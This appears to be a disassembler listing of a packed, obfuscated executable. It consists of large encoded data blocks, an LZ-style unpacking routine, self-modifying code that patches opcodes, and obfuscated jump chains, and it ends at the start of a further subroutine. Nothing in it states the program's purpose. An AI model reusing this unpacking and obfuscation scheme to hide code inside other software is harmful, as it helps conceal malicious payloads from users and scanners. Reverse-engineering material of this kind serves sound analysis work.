		dd 75AF6F41h, 0AFBBBB02h, 6A306F87h, 7E78CD77h,	5EABF3EBh
		dd 65FEF35h, 2F5241DEh,	0DE6F4D58h, 0E3CBE285h,	0FC05A381h
		dd 0B204B353h, 382AA31Bh, 0A31D3DB5h, 3907750Bh, 362FD2B8h
		dd 20B46954h, 58897FA0h, 51F64DA7h, 0D8ABF3A1h,	64BB3527h
		dd 9ECDE80Bh, 4A6C0B09h, 68316AA2h, 1F98A3C9h, 0FCF1EA27h
		dd 0BA1347E1h, 1C9E3C04h, 80C4CC2h, 7DC1E97h, 0FC23B79h
		dd 76E6D65Fh, 1F80B004h, 0E3BB6666h, 4731922Ah,	53987877h
		dd 73AE138Eh, 0F345462Fh, 0F11859AAh, 0A08A0CC7h, 88BA7E0Ah
		dd 33CD2BC3h, 0F1FE4D81h, 63F28743h, 8B7A0D28h,	377A7776h
		dd 0E861AA22h, 0E888F38Bh, 0DE10EEAEh, 71CA707h, 68B27B59h
		dd 0D96FE411h, 4256E866h, 0C2260288h, 485B1B21h, 88F8DC07h
		dd 9F65F3E5h, 3EB0EB02h, 0F1B59579h, 0B25D6DDAh, 0FDB31394h
		dd 5A391D1Bh, 8FFB3DCEh, 2304FC11h, 0D6E2F982h,	11BC5162h
		dd 0FEFB40EDh, 95F2982Bh, 398BA1CDh, 0E5FEA0FBh, 5C7B73D5h
		dd 5A335AC0h, 0A3F08A90h, 0D9861DE0h, 2E47525Fh, 36115D0Bh
		dd 0C6707C31h, 0B96D3123h, 0D82C6AAAh, 0A040DB58h, 2A3C417Eh
		dd 383CAAD0h, 0EA29F771h, 0E7212882h, 605891E9h, 47BCD65Dh
		dd 34205D7Ah, 60E890D4h, 0A3AE64B1h, 6103B681h,	752FAA62h
		dd 0AC322DC0h, 0C14EEA1Bh, 57583FC4h, 0B96CEA4Eh, 0EF8FE5C5h
		dd 0C5FC2BE6h, 2871997Eh, 2F03783Eh, 7D2D4E54h,	8DF8F7C0h
		dd 6EF5EBB5h, 0C89C7DABh, 7D6B1175h, 0EFD2C777h, 5180D128h
		dd 0E72A8990h, 0A4B1A902h, 0D08E80BBh, 0DD1D08C4h, 63922CBFh
		dd 9C2FB236h, 0FCA5AE7Ch, 53986756h, 0A83B1117h, 0AFAE847Bh
		dd 4AC5C5B2h, 0A3246FDh, 3E6283F7h, 3CA63B97h, 0D6813716h
		dd 0F0FCE91Fh, 6DD27F6Eh, 0A5CD9AD4h, 0E2398ECDh, 0D5DE25EDh
		dd 3C65DB7Dh, 95DEF152h, 0D60BD82Fh, 0D909F115h, 0C373CE74h
		dd 0A25A763Bh, 0FCAD0CAAh, 2F9CEDC2h, 0E39D6935h, 5465A010h
		dd 4E7F3E2Dh, 42EADA3Dh, 807DDD1Bh, 0C083751Fh,	0C29E9EFh
		dd 747CA0AAh, 8A99BA8Bh, 1BBF333Fh, 51ADE649h, 0D01F9051h
		dd 0CDA2166Fh, 713AF867h, 8DBA440Fh, 587F206Fh,	910BC4FDh
		dd 0AA8DAC6Fh, 46A42E96h, 0FA8768D2h, 75B833BAh, 3D01A15Dh
		dd 0B9B0916Eh, 0E2A1511Dh, 0ECA19762h, 494368C5h, 65BBD455h
		dd 0C887AA76h, 0F0D13B80h, 0CE8DDE5Ah, 62E12497h, 0D18BDCB1h
		dd 0D48D0E6Ah, 374945DBh, 366DBCC4h, 27283E54h,	76ED3688h
		dd 0D156FE35h, 7C1C529Fh, 1C0FE197h, 33BBB539h,	23411FA1h
		dd 798DCE07h, 0B95395C5h, 69E21DAFh, 9165765Dh,	0B0D43379h
		dd 45704BFDh, 0E7259E99h, 1C7C6CCh, 4CA71794h, 8DA2CABEh
		dd 0DD79FC7h, 0FC2DF32Ah, 70DF558Ah, 0A6E0124Fh, 0D474F72Bh
		dd 0F28C3C6Ch, 6D320A7Ah, 0BEDCEBBFh, 0CAF59109h, 0A47929DEh
		dd 465720F7h, 9A907F67h, 0B46C2CCDh, 0EC3C7958h, 0A170BBD6h
		dd 0D6360F84h, 8983D124h, 8655B55h, 671AAEDAh, 0E72E6D9Bh
		dd 2E2487E1h, 910562B7h, 0EFB0FF62h, 0F642039Bh, 0E5D1072Eh
		dd 0ED2BD116h, 0AAACF00Bh, 0A2F8756Bh, 29B33465h, 7FCCC5DEh
		dd 32555A2Dh, 0B6DA1E7Fh, 0E46BDBBDh, 784CB015h, 0C12B55DEh
		dd 5A459F5Dh, 297FBA1Fh, 0E8B25162h, 692B69F2h,	0D6890E76h
		dd 440CA6AAh, 9E91BF8Dh, 82AEC7A8h, 0C98F0553h,	78B6AE8Ah
		dd 41DAF1E0h, 0C11EBE34h, 0A6D536DCh, 0DE7414EEh, 11F81B73h
		dd 0FCA535ADh, 0F8743663h, 39191D57h, 21589452h, 79E7ED65h
		dd 0BFEB4EFBh, 0CA697F87h, 92AE92EDh, 0BA3BFE78h, 0F3F6DF18h
		dd 5D17613h, 0B18710BEh, 6D6CCF48h, 83D3C365h, 82B2C21Fh
		dd 0A9F4F4C0h, 405931C1h, 73235705h, 0E412C8F2h, 0F93BF0D6h
		dd 36F07ECh, 6E3396FAh,	0CAE20F8Eh, 0FE1C81F6h,	3F6A318Eh
		dd 0FF74CBBCh, 9037F967h, 82A290Ah, 85428731h, 0D669AB86h
		dd 77D0A568h, 5B7F6494h, 10293CD4h, 93375AB7h, 0FC58AABh
		dd 0E2637E15h, 0B6D7431Dh, 0E2FF03F0h, 236AFF51h, 6F22D957h
		dd 0EC27FDD1h, 772D768Eh, 5FB3CD6Ah, 6BAE5381h,	6E8CA28h
		dd 0DA91567h, 0EDC5AFCCh, 0E355FEA5h, 0B88F1492h, 389AF831h
		dd 6CE00E5Bh, 2DEA81E1h, 0E5DC21F0h, 0F4C85E9Ah, 79E1276Eh
		dd 0F2A931B9h, 15EF24CEh, 0C39AB0A7h, 3AF222EFh, 0E8233CD7h
		dd 0A731E95Ch, 59C16F3Dh, 0A69592E5h, 0C4F9B34Ah, 0AFCEE9Fh
		dd 0EC3FB851h, 0C2F7F14h, 0C82A7498h, 0ADE371CCh, 0A9D4A94Ch
		dd 0EABABFAAh, 0F9D7968Ah, 403B9309h, 3CCE4CFFh, 0DB25D5D1h
		dd 0C510CF54h, 0E9FDDF06h, 47434C06h, 0F9CBB7ABh, 57FD5214h
		dd 9B588F6h, 2B8EC8DCh,	0A7BF415Bh, 0F58065C0h,	43E00C8Dh
		dd 0C4D7C78Fh, 0B375F88Dh, 207B6A4Bh, 0C5AB87E0h, 8B42A5F8h
		dd 77542AB7h, 0C10E45CFh, 602BC52Ah, 74E96B76h,	41609EA7h
		dd 9503020h, 0A7314538h, 11451280h, 320707BAh, 2AE97482h
		dd 229FE302h, 0A135024Eh, 98E35012h, 0E604C770h, 4CC1E231h
		dd 8130F738h, 145194Eh,	0C30B23BDh, 47AFAC0h, 2D21D086h
		dd 2A30029Fh, 13FF310h,	14C926A5h, 1F28B850h, 82020291h
		dd 819D30A7h, 379C304h,	18131E5Bh, 0A4F18835h, 14154231h
		dd 8818B015h, 2B6852h, 1167104Bh, 70553047h, 67518F96h
		dd 6F2E1D84h, 373DEAF4h, 17F99D45h, 1A334701h, 5046A115h
		dd 14007520h, 1E1504F7h, 53847747h, 0E3CFE614h,	3981E663h
		dd 10178BA4h, 0E4E63DC5h, 0A310D204h, 0A3A837A7h, 8A1268A1h
		dd 89AAC71Eh, 8C316A29h, 2A1931C6h, 9903A314h, 9BCC634Fh
		dd 0BC39542Ah, 6FAE58E8h, 26F99ECh, 5953656Eh, 38B16E82h
		dd 0C791F37Ah, 8C7BD3Fh
		dd 0FC678D2Ch, 989B7050h, 0DCFD9955h, 57DA6160h, 0F2552DFBh
		dd 75CC62D9h, 0C655C6D1h, 9880E3ADh, 6B0FF83Ah,	0B8C1AE43h
		dd 0DEBEC2E5h, 735C4FB4h, 2EE880D7h, 0B753F8FBh, 0F805009Ch
		dd 15DED3B4h, 7E065347h, 1E5AC668h, 0D5EFA0FCh,	4F55349Dh
		dd 0FB5664D3h, 0D1BF4C79h, 0BF0F82ECh, 9FF19BEFh, 2DCBE74Ch
		dd 75CC40B7h, 6BAE1AEDh, 299860BEh, 0F7D06C81h,	0FA50CD0Ah
		dd 0CBDD63E0h, 81CFC7D7h, 6F91E523h, 0A5794C9Ch, 0EB9BB7F3h
		dd 9FBE4A6Ah, 0C9EDEF03h, 0A0CD6703h, 8A776CEBh, 35A95C5h
		dd 49C728Ah, 52700E3Fh,	0D1B84556h, 6D8FC7Ah, 3BDE75E2h
		dd 0B2D4F2Bh, 0C087FEECh, 43F01DB2h, 0E0B5E0B1h, 0E1DD72BCh
		dd 0AFF0FCh, 969AB296h,	0F7EF630Ah, 1FDFD381h, 1C81E111h
		dd 0C30BDF81h, 5FDBDB95h, 195B9945h, 0E23FE39Fh, 65A91104h
		dd 0B5DBDB6Bh, 8B7D181Fh, 369E1591h, 0D8D9FAD2h, 0F6783BD1h
		dd 5ABB507Ch, 0FDE290B4h, 0E0F6634Fh, 6FA0687h,	3F13E722h
		dd 288EEC6Ch, 0FB02ACCh, 7983D68Fh, 6AE913F3h, 0BDFDDFD0h
		dd 0CF0643F1h, 0F665620Eh, 2D2D715Eh, 0CA16F524h, 1DC8BD75h
		dd 0E11A7CA6h, 5C30A69Ch, 4EB5B52Ch, 5FB2EE76h,	0C85DF467h
		dd 421433D7h, 0FCB48B48h, 0D5A20CAAh, 193EDE6Eh, 0FD1FC7AEh
		dd 321F4F4Dh, 84556C74h, 0B8D38253h, 0FA1FD917h, 3BE6691Fh
		dd 94108ABEh, 641D6666h, 420B22BEh, 0D0D3A14Dh,	0F2CBBF29h
		dd 76F3B8FCh, 79D2D54Dh, 0F45F046Fh, 15DD7F91h,	25F68B6h
		dd 0E63C1191h, 2FC9022Eh, 0E0040572h, 4640260Bh, 2EFB0BFBh
		dd 765CFBF9h, 5BA15A6h,	0F9A1BA0Ch, 0E2C3F3A7h,	0A0D520AEh
		dd 54EA7E6Ch, 0E1FAC6E9h, 7FE2206Bh, 8157018Eh,	0FC49D807h
		dd 0B16C2F4h, 0C75915CAh, 410DB339h, 0E56BB4B4h, 3712519Fh
		dd 0E98FCF7Eh, 9BBE8567h, 0DFC4ED9Eh, 68BFC545h, 0B6BF4B8Bh
		dd 0DD6D3F0Ch, 0F85A4227h, 24E4A2EDh, 0EE7A1442h, 0A9AAFF3Fh
		dd 6125EFC2h, 0A8CEC58Eh, 0A96A3B6Ah, 6B7DEC3Dh, 0CE8A17C6h
		dd 3C28D57Eh, 0A6CB5BB8h, 0D717CE04h, 0BAD53532h, 0A9F1F971h
		dd 0B82CFD42h, 2C15760h, 0A5C81BEAh, 50703DDh, 0C50EFD75h
		dd 22B4092Eh, 55EF0FB6h, 729A4D0Ah, 2D9BF049h, 739DD6ABh
		dd 953AD41Dh, 95A295FCh, 0F2D495AAh, 0E2BB6D92h, 0C9090C48h
		dd 0ADD3022Fh, 4FE9B89Eh, 0BEA1ADDh, 546D5039h,	0D3D689AAh
		dd 549716E2h, 0C24B984Eh, 48DF03EAh, 8CA96D75h,	6C24361Fh
		dd 85637695h, 77E8D1F1h, 2357F5B6h, 922FF639h, 0E137E2D4h
		dd 577BC14h, 1C73770Ah,	0E94E2050h, 0D15667D4h,	0D32C8F1Eh
		dd 0E67B2BFCh, 15076F19h, 39667CB0h, 0EF41A880h, 0AEB5606Bh
		dd 46F99ACh, 0C162A8CFh, 0BACC59EFh, 0B4E655FEh, 0B78A76A3h
		dd 2DBA5768h, 686789Fh,	0BC381F7Eh, 607F192Ch, 7E376553h
		dd 0F0F4385Fh, 0DCB4CEC0h, 51FCB910h, 59A250B9h, 2D6018B1h
		dd 8BAB90ABh, 0B8871FA7h, 862B3539h, 5A3DBEE3h,	48DBE0EEh
		dd 0AB446AF9h, 0FC87191Ah, 0E5DEA61Dh, 3E04BA52h, 0B8C903A3h
		dd 93865AD1h, 114504BEh, 822CBE07h, 301FFB3Ch, 8867C455h
		dd 1C9E9D4Ah, 8AA02F1Fh, 0DD5A8676h, 96B91894h,	10EA808Dh
		dd 0AFC7ABF6h, 0C7B83F3h, 0F92D764Fh, 691E1571h, 0CF2D4A62h
		dd 95CA25D1h, 59251BBEh, 0AB8F3ABBh, 682685C2h,	71730150h
		dd 0ECC0A3D2h, 4BB32969h, 739D2D18h, 679A5957h,	636631A4h
		dd 3AB52453h, 0EFEA5A65h, 74F437D6h, 509BFB8h, 2E2D1995h
		dd 21D447B5h, 9CA9AED3h, 0A53EA59Bh, 0FE1CC87Ch, 0FC1FA2Ah
		dd 0C156A74Bh, 81EEF5BEh, 0A4A28ED9h, 582EF4EDh, 0DF67D855h
		dd 46A0F75Ah, 49E3A677h, 55B7A417h, 1CD257F8h, 0D478FA75h
		dd 0E631D176h, 0C16B28EAh, 9C91D7F1h, 3CF860ABh, 0B2D3F0F8h
		dd 743A6C2Ch, 663F16FBh, 5F1D8631h, 0FB5A91C7h,	15DA96A3h
		dd 9B0A15BCh, 45E89607h, 75A59AE8h, 14429465h, 748FB15Fh
		dd 0EDBF981Eh, 84B11FBCh, 81D5894Dh, 1379F480h,	0DA1D2778h
		dd 0A736DF65h, 51DD95FAh, 3AF83270h, 0DF53DD0Bh, 0B027C19Ah
		dd 4A8551C6h, 276E7CFAh, 7C22DDFCh, 9F1D90CAh, 550C326Ch
		dd 433AC6ABh, 55879C1Bh, 103BAE97h, 0DA81CA88h,	0D055E5Fh
		dd 8342F8C0h, 0F1E84394h, 0B20860AEh, 77E360D5h, 0BB814B47h
		dd 0AD7D22E0h, 0E15887EAh, 0BE93D417h, 6FA7A69Fh, 6DC58796h
		dd 472B8408h, 0D5D6ECE7h, 48BBBCC4h, 75360A45h,	0DB09C191h
		dd 238DEC6Dh, 0CFB90B75h, 25AC6703h, 91E0051Dh,	0E7C04F7Ch
		dd 0D10115ECh, 0A1EF727h, 0AB775E16h, 75174FB1h, 5DE23129h
		dd 0AAA379D3h, 8FB46680h, 0BE306299h, 0A4EEC784h, 7346F64Fh
		dd 6FD52F64h, 0BB46A5C6h, 76E724FBh, 0D6E91DC7h, 5AAD1DCCh
		dd 49517A95h, 0F08AA2C1h, 0A2A0CBADh, 37578985h, 0A7C8EE79h
		dd 9FF7DEDBh, 4AC7CCE4h, 0A12BD0FAh, 9D56231Bh,	7970D6CDh
		dd 0F69FD634h, 30B18FE4h, 42E7537Dh, 0F3B88E9Bh, 54B55303h
		dd 0A7C6722Fh, 55D811CAh, 5E2C3787h, 0BD02FA09h, 2FC2197Dh
		dd 91D1B89Ah, 8C94D1E2h, 0AEB32A1Bh, 3F0E0682h,	607CDE70h
		dd 0CC22A90Ch, 64BB15CCh, 2CAAD6F7h, 4051293h, 6A3637EFh
		dd 87679EDDh, 0EA3AC6D6h, 0D68568Dh, 3AB7AFC5h,	0C1E4FB2Ah
		dd 0F1A9FBA3h, 21334295h, 1825C752h, 49C31C47h,	669756A9h
		dd 5599AF32h, 913A90F3h, 40567559h, 0B72F3441h,	6D206780h
		dd 1492B4h, 2233F15Ah, 14EEBA2h, 14B6A9AEh, 9D45457Ch
		dd 2BF2D036h, 6BD67D93h, 0CB54DFB5h, 9E71BF9Bh,	2CDFCE87h
		dd 0BD94D408h, 8BACC753h, 0F0D8FE3Eh, 374ADC68h, 0F9FD490Ah
		dd 0DB473513h, 0D382FAF9h, 79310237h, 0B589BC31h, 912C4FB5h
		dd 0BBF32340h, 9BB546DDh, 0D3297911h, 8168B9Ah,	0FD675714h
		dd 5FBFAD1Bh, 285C512Ah, 0F608D9FFh, 564A5D41h,	0DBB92B90h
		dd 5B76B968h, 0D579BC8Dh, 5260C9F5h, 0E610751Ch, 3672748Fh
		dd 46DAA85Ah, 1D759A79h, 758349C6h, 7F5C6754h, 0BFF09008h
		dd 0D29FB0E6h, 9C924B9Ah, 36CAE1A9h, 0F466BD0Ah, 8ECA8D81h
		dd 876E6AB5h, 171CCB05h, 8BFA97BBh, 77579F56h, 2F31EF27h
		dd 4F7E6075h, 1A7389F3h, 67F13311h, 0BE93A947h,	0DC5296B9h
		dd 0BCF51B4Fh, 0C5B9ADB2h, 20008F35h, 734EE67Ch, 0
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417692	proc near		; DATA XREF: p89ykw6h:00419784o

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00417811 SIZE 00000004 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		cld
		push	ebx
		push	edi
		push	esi
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], edx
		mov	esi, eax
		mov	edi, edx
		cmp	word ptr [esi],	434Ah
		jnz	loc_4177D4
		add	esi, 0Ah
		mov	[ebp+var_C], 8
		xor	ebx, ebx
		mov	edx, 80000000h
		inc	ebx


loc_4176C3:				; CODE XREF: sub_417692+46j
					; sub_417692+8Dj ...
		xor	eax, eax
		call	sub_4177DB
		jnb	short loc_4176DA
		mov	ecx, [ebp+var_10]
		call	sub_4177F3
		add	al, [ebp+var_11]


loc_4176D7:				; CODE XREF: sub_417692+65j
		stosb
		jmp	short loc_4176C3
; ---------------------------------------------------------------------------


loc_4176DA:				; CODE XREF: sub_417692+38j
		call	sub_4177DB
		jb	loc_41777C
		call	sub_4177DB
		jnb	short loc_417747
		mov	ecx, 4
		call	sub_4177F3
		dec	eax
		jz	short loc_4176D7
		jns	loc_4177C6
		call	sub_4177DB
		jnb	short loc_417721
		push	ebp


loc_417707:				; CODE XREF: sub_417692+8Aj
		mov	ebp, 100h


loc_41770C:				; CODE XREF: sub_417692+83j
		call	sub_4177E8
		mov	[edi], al
		inc	edi
		dec	ebp
		jnz	short loc_41770C
		call	sub_4177DB
		jb	short loc_417707
		pop	ebp
		jmp	short loc_4176C3
; ---------------------------------------------------------------------------


loc_417721:				; CODE XREF: sub_417692+72j
		mov	ecx, 1
		call	sub_4177F3
		add	eax, 7
		mov	[ebp+var_10], eax
		mov	[ebp+var_11], 0
		cmp	eax, 8
		jz	short loc_4176C3
		call	sub_4177E8
		mov	[ebp+var_11], al
		jmp	loc_4176C3
; ---------------------------------------------------------------------------


loc_417747:				; CODE XREF: sub_417692+58j
		mov	ecx, 7
		call	sub_4177F3
		push	eax
		mov	ecx, 2
		call	sub_4177F3
		mov	ecx, eax
		inc	ecx
		inc	ecx
		pop	eax
		or	eax, eax
		jz	short loc_417769
		mov	ebx, eax
		jmp	short loc_4177C7
; ---------------------------------------------------------------------------


loc_417769:				; CODE XREF: sub_417692+D1j
		cmp	ecx, 2
		jz	short loc_4177D4
		inc	ecx
		call	sub_4177F3
		mov	[ebp+var_C], eax
		jmp	loc_4176C3
; ---------------------------------------------------------------------------


loc_41777C:				; CODE XREF: sub_417692+4Dj
		call	sub_4177FF
		dec	ecx
		loop	loc_41778D
		mov	eax, ebx
		call	sub_4177FF
		jmp	short loc_4177C7
; ---------------------------------------------------------------------------


loc_41778D:				; CODE XREF: sub_417692+F0j
		dec	ecx
		mov	eax, ecx
		push	ebp
		mov	ecx, [ebp+var_C]
		mov	ebp, eax
		xor	eax, eax
		shl	ebp, cl
		call	sub_4177F3
		or	eax, ebp
		pop	ebp
		mov	ebx, eax
		call	sub_4177FF
		cmp	eax, 10000h
		jnb	short loc_4177C4
		cmp	eax, 37FFh
		jnb	short loc_4177C5
		cmp	eax, 27Fh
		jnb	short loc_4177C6
		cmp	eax, 7Fh
		ja	short loc_4177C7
		inc	ecx


loc_4177C4:				; CODE XREF: sub_417692+11Cj
		inc	ecx


loc_4177C5:				; CODE XREF: sub_417692+123j
		inc	ecx


loc_4177C6:				; CODE XREF: sub_417692+67j
					; sub_417692+12Aj
		inc	ecx


loc_4177C7:				; CODE XREF: sub_417692+D5j
					; sub_417692+F9j ...
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_4176C3
; ---------------------------------------------------------------------------


loc_4177D4:				; CODE XREF: sub_417692+19j
					; sub_417692+DAj
		mov	eax, esi
		pop	esi
		pop	edi
		pop	ebx
		jmp	short loc_417811
sub_417692	endp


; =============== S U B	R O U T	I N E =======================================



sub_4177DB	proc near		; CODE XREF: sub_417692+33p
					; sub_417692:loc_4176DAp ...
		add	edx, edx
		jnz	short locret_4177E7
		mov	edx, [esi]
		add	esi, 4
		stc
		adc	edx, edx

locret_4177E7:				; CODE XREF: sub_4177DB+2j
		retn
sub_4177DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4177E8	proc near		; CODE XREF: sub_417692:loc_41770Cp
					; sub_417692+A8p
		mov	ecx, 8
		call	sub_4177F3
		retn
sub_4177E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_4177F3	proc near		; CODE XREF: sub_417692+3Dp
					; sub_417692+5Fp ...
		xor	eax, eax


loc_4177F5:				; CODE XREF: sub_4177F3+9j
		call	sub_4177DB
		adc	eax, eax
		loop	loc_4177F5
		retn
sub_4177F3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4177FF	proc near		; CODE XREF: sub_417692:loc_41777Cp
					; sub_417692+F4p ...
		xor	ecx, ecx
		inc	ecx


loc_417802:				; CODE XREF: sub_4177FF+Fj
		call	sub_4177DB
		adc	ecx, ecx
		call	sub_4177DB
		jb	short loc_417802
		retn
sub_4177FF	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_417692


loc_417811:				; CODE XREF: sub_417692+147j
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_417692
; ---------------------------------------------------------------------------
		align 2
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		jmp	locret_4192B2
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 0F8h, 0BBh, 90h
; ---------------------------------------------------------------------------
		call	sub_4195E2
		mov	ds:byte_418850,	0E8h
		mov	ds:byte_417926,	89h
		mov	ds:byte_417929,	59h
		mov	ds:byte_41792A,	0E8h
		mov	ds:byte_41792F,	68h
		mov	ds:byte_418796,	0Fh
		retn
; ---------------------------------------------------------------------------
		dd 2BDE93Dh, 0C37E0000h, 0DDE957FFh, 89000002h,	685A2414h
		dd 8BAC088h, 17F3815Bh,	0E91B641Dh, 1A19h, 9D01C39Ch, 5B8E9h
		dd 0C2FE3A00h, 0EA9E8h,	0C1851500h, 1520E9h, 0DDC38A00h
		dd 0CF87EC8Bh, 1BADE8h,	68EDB600h, 4180C6h, 202E9h, 0E9C2FE00h
		dd 0FFFFFFD4h, 1363850Fh, 10300000h, 787E6840h,	97E90041h
		dd 3E000013h, 58240489h, 1868C231h, 0E9004193h,	1A47h
		dd 1CBA5E93h, 0E92FEAE1h, 4BBh,	67C281CAh, 9D56BA78h, 417ADD68h
		dd 171CE900h, 0FF330000h, 4110C015h, 0DB685100h, 5914245Eh
		dd 828E9h, 24048700h, 47B85A50h, 8700417Ah, 0E2E92404h
		dd 0F000007h, 55E85h, 56DE900h,	0DAD70000h, 0ED38A0Fh
		db 2 dup(0)
byte_417926	db 89h			; DATA XREF: p89ykw6h:0041782Cw
		db 0Ch
		db 24h
byte_417929	db 59h			; DATA XREF: p89ykw6h:00417833w
byte_41792A	db 0E8h			; DATA XREF: p89ykw6h:0041783Aw
		db 0B4h
		db 1Bh,	2 dup(0)
byte_41792F	db 68h			; DATA XREF: p89ykw6h:00417841w
; ---------------------------------------------------------------------------
		sbb	al, [ebx+17E90041h]
		add	al, [eax]
		add	[ecx+535F243Ch], cl
		push	7B10FAA7h
		pop	ebx
		add	ebx, 0D9B3B06Eh
		xchg	ebx, [esp]
		sub	dword ptr [esp], 54C4AB16h
		jmp	loc_419131
; ---------------------------------------------------------------------------
		db 0Fh,	82h, 1Fh
		dd 2B000001h, 0FEF9E9EAh, 89C3FFFFh, 7CBE2434h,	87004179h
		dd 1BC32434h, 12CE926h,	0B68B0000h, 0A866C081h,	899C5AFFh
		dd 16E82404h, 8100000Ch, 0F30089EBh, 68D93314h,	417AEBh
		dd 0B9BE9h, 96C38500h, 0C1E93889h, 1000008h, 81F18B55h
		dd 0FA6D75E8h, 8BF08136h, 68468483h, 418DD2h, 0A39E9h
		dd 0FD20900h, 1B8084h, 1698E900h, 0F50A0000h, 87E8108Bh
		dd 0B4000018h, 8F2E9h, 240C8700h, 5C2C159h, 7DC86840h
		dd 93E90041h, 2300001Ah, 41876B68h, 1475E900h, 682F0000h
		dd 418ED0h, 0BDEE9h, 0EA23D400h, 0CE1E99Dh, 0FEE0000h
		dd 51C84h, 156FE900h, 26790000h, 9F0689Ch, 815E7554h, 411FDDC6h
		dd 0AACE8124h, 81A9C2C8h, 0A9174FF6h, 81F503B6h, 81016CC6h
		dd 49CE9F0h, 0EBFF0000h, 0FF64CEC3h, 7C4D68D1h,	0F7E90041h
		dd 1C000001h, 9DFA9FC3h, 179FE9h, 0E9C3FB00h, 0E3Ah, 96058DFDh
		dd 51004187h, 0F2C50068h, 0D0B59F3h, 4000BBh, 0A205C181h
		dd 7EE80C4Dh, 8700000Eh, 0C15E2434h, 486805C2h,	0E9004193h
		dd 0D12h, 0C5236384h, 0EB7E8h, 0E9B68F00h, 0FFFFFD78h
		dd 0E9C32A87h, 0CAh, 0C840F40h,	0E9000016h, 0A7h, 8C0F142Ch
		dd 0A64h, 0D9E90E57h, 40000009h, 0FD1F784h, 12DC8Bh, 88E08100h
		dd 0E9565168h, 1109h, 68C0316Dh, 4192B5h, 0FFFD2EE9h, 8708CEFFh
		dd 866857D7h, 0E9004192h, 7Fh, 8111C2C1h, 792335D5h, 0F95E9B5h
		dd 0C5810000h, 211409B8h, 6FEE95Bh, 0C3030000h,	17FE9h
		dd 0E97F2200h, 0F12h, 240487E0h, 3DDE9h, 0E4860F00h, 8900000Fh
		dd 2C872404h, 0E9C58B24h, 101Dh, 8B0F2889h, 769h, 19FF840Fh
		dd 80E90000h, 0E9000019h, 0C8943C3h, 7B65B924h,	0C870041h
		dd 0E95AC324h, 15B7h, 9AC08155h, 68F6374Fh, 418065h, 1BCE9h
		dd 0E9C39600h, 16FCh, 8FC4685Fh, 0B0E90041h, 0CB000000h
		dd 0E90CC7C1h, 0FFFFFDD7h, 0A268C94Bh, 0E9004182h, 0FFFFFDD9h
		dd 850F54FAh, 6Ah, 0A65E986h, 50270000h, 4FE9C585h, 68000000h
		dd 47AD9CCh, 0E4C08158h, 81986D86h, 8B3F3DE0h, 0F08118h
		dd 53188821h, 4099689Ch, 1BE9D90Dh, 9D000017h, 0C3243487h
		dd 35CE9h, 893FD600h, 5E5B241Ch, 242C899Ch, 0BB8E8h, 0C3A15100h
		dd 18C3E9h, 0E99D7D00h,	0FFFFFD39h, 800F5DDEh, 0AF3h, 1A8880Fh
		dd 0C1810000h, 0A548CDEEh, 0C26E99Ch, 0A5610000h, 1753E8h
		dd 30BDF700h, 8700417Ch, 0E9C3242Ch, 9B0h, 7A1E9C3h, 0E9F80000h
		dd 2E2h, 41974Ah, 50B80C15h, 0D2h, 5CC3C966h, 8DBA6806h
		dd 8158698Ah, 0BFA406F0h, 1774E9B8h, 0FE810000h, 236325DAh
		dd 0B70E9h, 840F1700h, 74Ch, 0C87F733h,	89E95924h, 0AA000011h
		dd 0C89C332h, 84CC6824h, 0DBE90041h, 7EFFFFFCh,	795E8ECh
		dd 0E96D0000h, 191Eh, 819079C3h, 0A7D2C7F3h, 81DD03E5h
		dd 376253C3h, 0E91B8BD5h, 572h,	8FE9DD8Bh, 3100000Eh, 92D9EF68h
		dd 24148970h, 0E804C083h, 0FFFFF9CAh, 0E956108Bh, 0BC9h
		dd 0C2814535h, 38B2A812h, 74E91E87h, 81000016h,	33073DE9h
		dd 24148995h, 0E8CB875Ah, 0AC6h, 2268CB33h, 58CC9D6Ch
		dd 0C95DF081h, 0D1E95FB5h, 0F000000h, 115080h, 0E8103200h
		dd 0FFFFFCCDh, 11D0850Fh, 558B0000h, 67ED8100h,	0E910DD54h
		dd 4C1h, 0C875B58h, 0E9D18B24h,	63Ah, 0FDE9C321h, 50000014h
		dd 1A07E8h, 781F6800h, 58E90041h, 10FFFFFDh, 0FF70390h
		dd 55180h, 10C4E900h, 0C3D80000h, 0C38163EFh, 0E040790Fh
		dd 0E9241C87h, 9FCh, 4872661h, 24048B24h, 0C2566850h, 8158217Ah
		dd 113AE5E0h, 1835E9C5h, 0BFED0000h, 789B14C2h,	835E9h
		dd 10309300h, 0FFFD03E8h, 872978FFh, 0F65B241Ch, 0FA43C2Ah
		dd 132185h, 925E900h, 56FA0000h, 241C879Dh, 0C4266850h
		dd 81587D12h, 0D92453C0h, 0A8F0811Dh, 0E9E1E19Ch, 17FCh
		dd 12850F49h, 0B800000Dh, 9328A57Fh, 41893C68h,	0FC76E900h
		dd 3487FFFFh, 241C8724h, 0E95BF38Bh, 0D66h, 0E803C3EBh
		dd 1A892E8Bh, 5EADBA68h, 503E967h, 0C3C30000h, 0A8DAC399h
		dd 653E9h, 0F0819800h, 0C1A2545Bh, 9BBEC181h, 0C87CAF0h
		dd 0FCA4E924h, 830FFFFFh, 1051h, 4AA19068h, 243C8704h
		dd 5EE95857h, 72000015h, 0A7C381E4h, 688E9DEEh,	4194F8h
		dd 0FFFC1AE9h, 81A982FFh, 0FACB86E2h, 957E951h
		db 2 dup(0), 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_417E53	proc far		; CODE XREF: sub_417E53+638j
					; sub_417E53+12E9p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

